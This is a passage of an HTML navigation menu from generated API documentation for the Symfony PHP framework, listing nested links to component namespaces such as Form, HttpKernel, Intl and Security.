</ul></li> <li><a href="namespace-Symfony.Component.CssSelector.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.CssSelector.Tests.Node.html">Node</a> </li> <li><a href="namespace-Symfony.Component.CssSelector.Tests.Parser.html">Parser<span></span></a> <ul> <li><a href="namespace-Symfony.Component.CssSelector.Tests.Parser.Handler.html">Handler</a> </li> <li><a href="namespace-Symfony.Component.CssSelector.Tests.Parser.Shortcut.html">Shortcut</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.CssSelector.Tests.XPath.html">XPath</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.CssSelector.XPath.html">XPath<span></span></a> <ul> <li><a href="namespace-Symfony.Component.CssSelector.XPath.Extension.html">Extension</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Debug.html">Debug<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Debug.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Debug.FatalErrorHandler.html">FatalErrorHandler</a> </li> <li><a href="namespace-Symfony.Component.Debug.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Debug.Tests.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Debug.Tests.FatalErrorHandler.html">FatalErrorHandler</a> </li> <li><a href="namespace-Symfony.Component.Debug.Tests.Fixtures.html">Fixtures</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.DependencyInjection.html">DependencyInjection<span></span></a> <ul> <li><a href="namespace-Symfony.Component.DependencyInjection.Compiler.html">Compiler</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Dump.html">Dump</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Dumper.html">Dumper</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Extension.html">Extension</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.LazyProxy.html">LazyProxy<span></span></a> <ul> <li><a href="namespace-Symfony.Component.DependencyInjection.LazyProxy.Instantiator.html">Instantiator</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.LazyProxy.PhpDumper.html">PhpDumper</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.DependencyInjection.Loader.html">Loader</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.ParameterBag.html">ParameterBag</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.Compiler.html">Compiler</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.Dumper.html">Dumper</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.Extension.html">Extension</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.LazyProxy.html">LazyProxy<span></span></a> <ul> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.LazyProxy.Instantiator.html">Instantiator</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.LazyProxy.PhpDumper.html">PhpDumper</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.Loader.html">Loader</a> </li> <li><a href="namespace-Symfony.Component.DependencyInjection.Tests.ParameterBag.html">ParameterBag</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.DomCrawler.html">DomCrawler<span></span></a> <ul> <li><a href="namespace-Symfony.Component.DomCrawler.Field.html">Field</a> </li> <li><a href="namespace-Symfony.Component.DomCrawler.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.DomCrawler.Tests.Field.html">Field</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.EventDispatcher.html">EventDispatcher<span></span></a> <ul> <li><a href="namespace-Symfony.Component.EventDispatcher.Debug.html">Debug</a> </li> <li><a href="namespace-Symfony.Component.EventDispatcher.Tests.html">Tests</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.ExpressionLanguage.html">ExpressionLanguage<span></span></a> <ul> <li><a href="namespace-Symfony.Component.ExpressionLanguage.Node.html">Node</a> </li> <li><a href="namespace-Symfony.Component.ExpressionLanguage.ParserCache.html">ParserCache</a> </li> <li><a href="namespace-Symfony.Component.ExpressionLanguage.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.ExpressionLanguage.Tests.Node.html">Node</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Filesystem.html">Filesystem<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Filesystem.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Filesystem.Tests.html">Tests</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Finder.html">Finder<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Finder.Adapter.html">Adapter</a> </li> <li><a href="namespace-Symfony.Component.Finder.Comparator.html">Comparator</a> </li> <li><a href="namespace-Symfony.Component.Finder.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Finder.Expression.html">Expression</a> </li> <li><a href="namespace-Symfony.Component.Finder.Iterator.html">Iterator</a> </li> <li><a href="namespace-Symfony.Component.Finder.Shell.html">Shell</a> </li> <li><a href="namespace-Symfony.Component.Finder.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Finder.Tests.Comparator.html">Comparator</a> </li> <li><a href="namespace-Symfony.Component.Finder.Tests.Expression.html">Expression</a> </li> <li><a href="namespace-Symfony.Component.Finder.Tests.FakeAdapter.html">FakeAdapter</a> </li> <li><a href="namespace-Symfony.Component.Finder.Tests.Iterator.html">Iterator</a> </li> </ul></li></ul></li> <li class="active"><a href="namespace-Symfony.Component.Form.html">Form<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Exception.html">Exception</a> </li> <li class="active"><a href="namespace-Symfony.Component.Form.Extension.html">Extension<span></span></a> <ul> <li class="active"><a href="namespace-Symfony.Component.Form.Extension.Core.html">Core<span></span></a> <ul> <li class="active"><a href="namespace-Symfony.Component.Form.Extension.Core.ChoiceList.html">ChoiceList</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Core.DataMapper.html">DataMapper</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Core.DataTransformer.html">DataTransformer</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Core.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Core.Type.html">Type</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Core.View.html">View</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Extension.Csrf.html">Csrf<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Extension.Csrf.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Csrf.Type.html">Type</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Extension.DataCollector.html">DataCollector<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Extension.DataCollector.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.DataCollector.Proxy.html">Proxy</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.DataCollector.Type.html">Type</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Extension.DependencyInjection.html">DependencyInjection</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.HttpFoundation.html">HttpFoundation<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Extension.HttpFoundation.Type.html">Type</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Extension.Templating.html">Templating</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Validator.html">Validator<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Extension.Validator.Constraints.html">Constraints</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Validator.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Validator.Type.html">Type</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Validator.Util.html">Util</a> </li> <li><a href="namespace-Symfony.Component.Form.Extension.Validator.ViolationMapper.html">ViolationMapper</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Form.Guess.html">Guess</a> </li> <li><a href="namespace-Symfony.Component.Form.Test.html">Test</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.html">Extension<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Core.html">Core<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Core.ChoiceList.html">ChoiceList</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Core.DataMapper.html">DataMapper</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Core.DataTransformer.html">DataTransformer</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Core.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Core.Type.html">Type</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Csrf.html">Csrf<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Csrf.CsrfProvider.html">CsrfProvider</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Csrf.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Csrf.Type.html">Type</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.DataCollector.html">DataCollector<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.DataCollector.Type.html">Type</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.HttpFoundation.html">HttpFoundation<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.HttpFoundation.EventListener.html">EventListener</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Validator.html">Validator<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Validator.Constraints.html">Constraints</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Validator.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Validator.Type.html">Type</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Validator.Util.html">Util</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Extension.Validator.ViolationMapper.html">ViolationMapper</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Form.Tests.Fixtures.html">Fixtures</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Guess.html">Guess</a> </li> <li><a href="namespace-Symfony.Component.Form.Tests.Util.html">Util</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Form.Util.html">Util</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.HttpFoundation.html">HttpFoundation<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpFoundation.File.html">File<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpFoundation.File.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.HttpFoundation.File.MimeType.html">MimeType</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.HttpFoundation.Session.html">Session<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpFoundation.Session.Attribute.html">Attribute</a> </li> <li><a href="namespace-Symfony.Component.HttpFoundation.Session.Flash.html">Flash</a> </li> <li><a href="namespace-Symfony.Component.HttpFoundation.Session.Storage.html">Storage<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpFoundation.Session.Storage.Handler.html">Handler</a> </li> <li><a href="namespace-Symfony.Component.HttpFoundation.Session.Storage.Proxy.html">Proxy</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.File.html">File<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.File.MimeType.html">MimeType</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.Session.html">Session<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.Session.Attribute.html">Attribute</a> </li> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.Session.Flash.html">Flash</a> </li> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.Session.Storage.html">Storage<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.Session.Storage.Handler.html">Handler</a> </li> <li><a href="namespace-Symfony.Component.HttpFoundation.Tests.Session.Storage.Proxy.html">Proxy</a> </li> </ul></li></ul></li></ul></li></ul></li> <li><a href="namespace-Symfony.Component.HttpKernel.html">HttpKernel<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpKernel.Bundle.html">Bundle</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.CacheClearer.html">CacheClearer</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.CacheWarmer.html">CacheWarmer</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Config.html">Config</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Controller.html">Controller</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.DataCollector.html">DataCollector<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpKernel.DataCollector.Util.html">Util</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.HttpKernel.Debug.html">Debug</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.DependencyInjection.html">DependencyInjection</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Event.html">Event</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Fragment.html">Fragment</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.HttpCache.html">HttpCache</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Log.html">Log</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Profiler.html">Profiler</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Bundle.html">Bundle</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.CacheClearer.html">CacheClearer</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.CacheWarmer.html">CacheWarmer</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Config.html">Config</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Controller.html">Controller</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.DataCollector.html">DataCollector</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Debug.html">Debug</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.DependencyInjection.html">DependencyInjection</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.EventListener.html">EventListener</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Fixtures.html">Fixtures<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Fixtures.ExtensionAbsentBundle.html">ExtensionAbsentBundle</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Fixtures.ExtensionLoadedBundle.html">ExtensionLoadedBundle<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Fixtures.ExtensionLoadedBundle.DependencyInjection.html">DependencyInjection</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Fixtures.ExtensionPresentBundle.html">ExtensionPresentBundle<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Fixtures.ExtensionPresentBundle.Command.html">Command</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Fixtures.ExtensionPresentBundle.DependencyInjection.html">DependencyInjection</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Fragment.html">Fragment</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.HttpCache.html">HttpCache</a> </li> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Profiler.html">Profiler<span></span></a> <ul> <li><a href="namespace-Symfony.Component.HttpKernel.Tests.Profiler.Mock.html">Mock</a> </li> </ul></li></ul></li></ul></li> <li><a href="namespace-Symfony.Component.Icu.html">Icu<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Icu.Tests.html">Tests</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.html">Intl<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.Collator.html">Collator</a> </li> <li><a href="namespace-Symfony.Component.Intl.DateFormatter.html">DateFormatter<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.DateFormatter.DateFormat.html">DateFormat</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Intl.Globals.html">Globals</a> </li> <li><a href="namespace-Symfony.Component.Intl.Locale.html">Locale</a> </li> <li><a href="namespace-Symfony.Component.Intl.NumberFormatter.html">NumberFormatter</a> </li> <li><a href="namespace-Symfony.Component.Intl.ResourceBundle.html">ResourceBundle<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.ResourceBundle.Compiler.html">Compiler</a> </li> <li><a href="namespace-Symfony.Component.Intl.ResourceBundle.Reader.html">Reader</a> </li> <li><a href="namespace-Symfony.Component.Intl.ResourceBundle.Transformer.html">Transformer<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.ResourceBundle.Transformer.Rule.html">Rule</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.ResourceBundle.Util.html">Util</a> </li> <li><a href="namespace-Symfony.Component.Intl.ResourceBundle.Writer.html">Writer</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.Tests.Collator.html">Collator<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.Tests.Collator.Verification.html">Verification</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Tests.DateFormatter.html">DateFormatter<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.Tests.DateFormatter.Verification.html">Verification</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Tests.Globals.html">Globals<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.Tests.Globals.Verification.html">Verification</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Tests.Locale.html">Locale<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.Tests.Locale.Verification.html">Verification</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Tests.NumberFormatter.html">NumberFormatter<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.Tests.NumberFormatter.Verification.html">Verification</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Tests.ResourceBundle.html">ResourceBundle<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Intl.Tests.ResourceBundle.Reader.html">Reader</a> </li> <li><a href="namespace-Symfony.Component.Intl.Tests.ResourceBundle.Util.html">Util</a> </li> <li><a href="namespace-Symfony.Component.Intl.Tests.ResourceBundle.Writer.html">Writer</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Tests.Util.html">Util</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Intl.Util.html">Util</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Locale.html">Locale<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Locale.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Locale.Tests.Stub.html">Stub</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.OptionsResolver.html">OptionsResolver<span></span></a> <ul> <li><a href="namespace-Symfony.Component.OptionsResolver.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.OptionsResolver.Tests.html">Tests</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Process.html">Process<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Process.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Process.Tests.html">Tests</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.PropertyAccess.html">PropertyAccess<span></span></a> <ul> <li><a href="namespace-Symfony.Component.PropertyAccess.Exception.html">Exception</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Routing.html">Routing<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Routing.Annotation.html">Annotation</a> </li> <li><a href="namespace-Symfony.Component.Routing.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Routing.Generator.html">Generator<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Routing.Generator.Dumper.html">Dumper</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Routing.Loader.html">Loader</a> </li> <li><a href="namespace-Symfony.Component.Routing.Matcher.html">Matcher<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Routing.Matcher.Dumper.html">Dumper</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Routing.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Routing.Tests.Annotation.html">Annotation</a> </li> <li><a href="namespace-Symfony.Component.Routing.Tests.Fixtures.html">Fixtures<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Routing.Tests.Fixtures.AnnotatedClasses.html">AnnotatedClasses</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Routing.Tests.Generator.html">Generator<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Routing.Tests.Generator.Dumper.html">Dumper</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Routing.Tests.Loader.html">Loader</a> </li> <li><a href="namespace-Symfony.Component.Routing.Tests.Matcher.html">Matcher<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Routing.Tests.Matcher.Dumper.html">Dumper</a> </li> </ul></li></ul></li></ul></li> <li><a href="namespace-Symfony.Component.Security.html">Security<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Acl.html">Acl<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Acl.Dbal.html">Dbal</a> </li> <li><a href="namespace-Symfony.Component.Security.Acl.Domain.html">Domain</a> </li> <li><a href="namespace-Symfony.Component.Security.Acl.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Security.Acl.Model.html">Model</a> </li> <li><a href="namespace-Symfony.Component.Security.Acl.Permission.html">Permission</a> </li> <li><a href="namespace-Symfony.Component.Security.Acl.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Acl.Tests.Dbal.html">Dbal</a> </li> <li><a href="namespace-Symfony.Component.Security.Acl.Tests.Domain.html">Domain</a> </li> <li><a href="namespace-Symfony.Component.Security.Acl.Tests.Permission.html">Permission</a> </li> <li><a href="namespace-Symfony.Component.Security.Acl.Tests.Voter.html">Voter</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Acl.Voter.html">Voter</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Core.html">Core<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Core.Authentication.html">Authentication<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Core.Authentication.Provider.html">Provider</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Authentication.RememberMe.html">RememberMe</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Authentication.Token.html">Token</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Core.Authorization.html">Authorization<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Core.Authorization.Voter.html">Voter</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Core.Encoder.html">Encoder</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Event.html">Event</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Role.html">Role</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Authentication.html">Authentication<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Authentication.Provider.html">Provider</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Authentication.RememberMe.html">RememberMe</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Authentication.Token.html">Token</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Authorization.html">Authorization<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Authorization.Voter.html">Voter</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Encoder.html">Encoder</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Role.html">Role</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.User.html">User</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Util.html">Util</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Validator.html">Validator<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Core.Tests.Validator.Constraints.html">Constraints</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Security.Core.User.html">User</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Util.html">Util</a> </li> <li><a href="namespace-Symfony.Component.Security.Core.Validator.html">Validator<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Core.Validator.Constraints.html">Constraints</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Security.Csrf.html">Csrf<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Csrf.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Security.Csrf.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Csrf.Tests.TokenGenerator.html">TokenGenerator</a> </li> <li><a href="namespace-Symfony.Component.Security.Csrf.Tests.TokenStorage.html">TokenStorage</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Csrf.TokenGenerator.html">TokenGenerator</a> </li> <li><a href="namespace-Symfony.Component.Security.Csrf.TokenStorage.html">TokenStorage</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Http.html">Http<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Http.Authentication.html">Authentication</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Authorization.html">Authorization</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.EntryPoint.html">EntryPoint</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Event.html">Event</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Firewall.html">Firewall</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Logout.html">Logout</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.RememberMe.html">RememberMe</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Session.html">Session</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Http.Tests.Authentication.html">Authentication</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Tests.EntryPoint.html">EntryPoint</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Tests.Firewall.html">Firewall</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Tests.Logout.html">Logout</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Tests.RememberMe.html">RememberMe</a> </li> <li><a href="namespace-Symfony.Component.Security.Http.Tests.Session.html">Session</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Security.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Tests.Core.html">Core<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Tests.Core.Authentication.html">Authentication<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Tests.Core.Authentication.Token.html">Token</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Tests.Core.User.html">User</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Security.Tests.Http.html">Http<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Security.Tests.Http.Firewall.html">Firewall</a> </li> </ul></li></ul></li></ul></li> <li><a href="namespace-Symfony.Component.Serializer.html">Serializer<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Serializer.Encoder.html">Encoder</a> </li> <li><a href="namespace-Symfony.Component.Serializer.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Serializer.Normalizer.html">Normalizer</a> </li> <li><a href="namespace-Symfony.Component.Serializer.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Serializer.Tests.Encoder.html">Encoder</a> </li> <li><a href="namespace-Symfony.Component.Serializer.Tests.Fixtures.html">Fixtures</a> </li> <li><a href="namespace-Symfony.Component.Serializer.Tests.Normalizer.html">Normalizer</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Stopwatch.html">Stopwatch</a> </li> <li><a href="namespace-Symfony.Component.Templating.html">Templating<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Templating.Asset.html">Asset</a> </li> <li><a href="namespace-Symfony.Component.Templating.Helper.html">Helper</a> </li> <li><a href="namespace-Symfony.Component.Templating.Loader.html">Loader</a> </li> <li><a href="namespace-Symfony.Component.Templating.Storage.html">Storage</a> </li> <li><a href="namespace-Symfony.Component.Templating.Tests.html">Tests<span></span></a> <ul> 